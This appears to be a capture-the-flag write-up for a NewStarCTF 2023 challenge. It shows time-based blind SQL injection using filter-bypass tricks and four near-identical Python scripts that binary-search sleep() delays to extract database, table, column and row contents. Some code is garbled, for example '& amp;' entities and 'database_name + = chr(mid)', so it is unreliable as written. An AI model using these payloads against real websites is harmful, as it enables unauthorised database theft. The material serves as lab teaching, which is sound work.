NewStarCTF2023week4-midsql (Using binary search to implement time blind injection attack)

After a rough test, I found that the spaces were filtered.

Use inline comments /**/ to bypass, it works

1'/**/-- + 

Use ? to replace spaces, or

1'?-- + 

Testing again found that the equal sign was also filtered, we used like instead

(I initially thought that and was filtered, but it was not. If and or or was filtered, we can also use & amp; & amp; and || instead)

1'/**/ & amp; & amp;1like2/**/-- + 

However, many attempts here only return one page, and no error page appears. Therefore, time blind injection is used, and the sleep function is used to create a time delay. The echo time is used to determine whether an error is reported.

Introduction to basic knowledge:

if (judgment statement, x, y) If the judgment statement is correct, output X, otherwise output Y
sleep(n), echo after delaying n seconds

Commonly used judgment statements:

if(1=1,1,sleep(3)) // 1=1 is always true, so 1 will be output
if(1=2,1,sleep(3)) //1=2 is not true, the last sleep function will be executed and echoed after a delay of 3 seconds

Of course we can also use the sleep() function directly:

1' & amp; & amp;sleep(5)-- + 

After trying it, I found that the — + comment cannot be used here, so we used the # comment instead.

1' & amp; & amp;sleep(5)#

Observe that there is no delay, indicating that the semicolon is not a closed symbol.

Try numeric

1 & amp; & amp;sleep(5)#

There is an obvious delay phenomenon, which proves that the statement is closed successfully.

Start writing the script and first check what databases it exists in.

Construct payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1)) >{mid},sleep(2),0)#

Complete script:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i}, 1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left=mid+1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name + = chr(mid)
    print(database_name)

Note: Be sure to use f to format string constants in the payload to ensure that the content in {} (such as {i}, {mid}) will be replaced by the value of the expression when the program is running.

operation result:

Found that a database named ctf exists

Then we check all tables under the database

Construct payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/ table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#

Complete script:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/ **/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left=mid+1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name + = chr(mid)
    print(database_name)

Found that there is only one table named items

Try to get the column name information of the table named items in the database named ctf

(* cannot be selected directly here)

Construct payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/ table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#

Complete script:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/ **/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left=mid+1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name + = chr(mid)
    print(database_name)

Found that there are three columns: id, name, price

Since we don’t know where the flag is, we query the specific field information of these three columns.

Construct payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i} ,1))>{mid},sleep(2),0)#

Note: The content of the query here still needs to be added with group_concat(), because some joint queries I did before sometimes did not need to be added, but I tried it here and it didn’t work.

By the way, let me introduce the function of group_concat() function:

group_concat first groups the columns specified by group by, displays the columns of the same group, and separates them with delimiters, connects the values in the same group generated by group by, and returns a string result.

Complete script:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items), {i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left=mid+1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name + = chr(mid)
    print(database_name)

Get flag{217f2b74-cca0-4afb-be0b-2147f666d25e}

Some explanation about the script:

Time blind injection attack using binary search

  1. payload is a URL that contains a SQL injection attack. The URL is constructed like this: url is the address of your target website, followed by a SQL injection statement.

  2. time.time() is used to record the start time, then initiate an HTTP GET request and send payload to the target website. This request will perform a SQL injection attack.

  3. After initiating the request, use time.time() again to record the end time, and then calculate use_time, which is the response time of the request.

  4. Next, determine whether the SQL injection was successfully executed by comparing whether use_time is greater than 2 seconds. If use_time is greater than 2 seconds, the condition is true, indicating that the ASCII value of the current character is greater than mid.

  5. If the condition is true, increase the value of left by 1, otherwise, decrement the value of right by 1, thus updating the value of mid. This is part of the binary search algorithm used to extract the database name character by character.

  6. Finally, the code adds the current character (the ASCII value of the character converted to a character using the chr() function) to the database_name variable and prints out database_name, and gradually build the queried database name.

The code builds the database name by continuously guessing the ASCII value of each character, and once the ASCII value of a character is determined, moves on to the next character. Of course, database_name here is just a variable name, we can replace it with something else.

The knowledge points of the article match the official knowledge files, and you can further learn related knowledge. Algorithm skill tree Home page Overview 57053 people are learning the system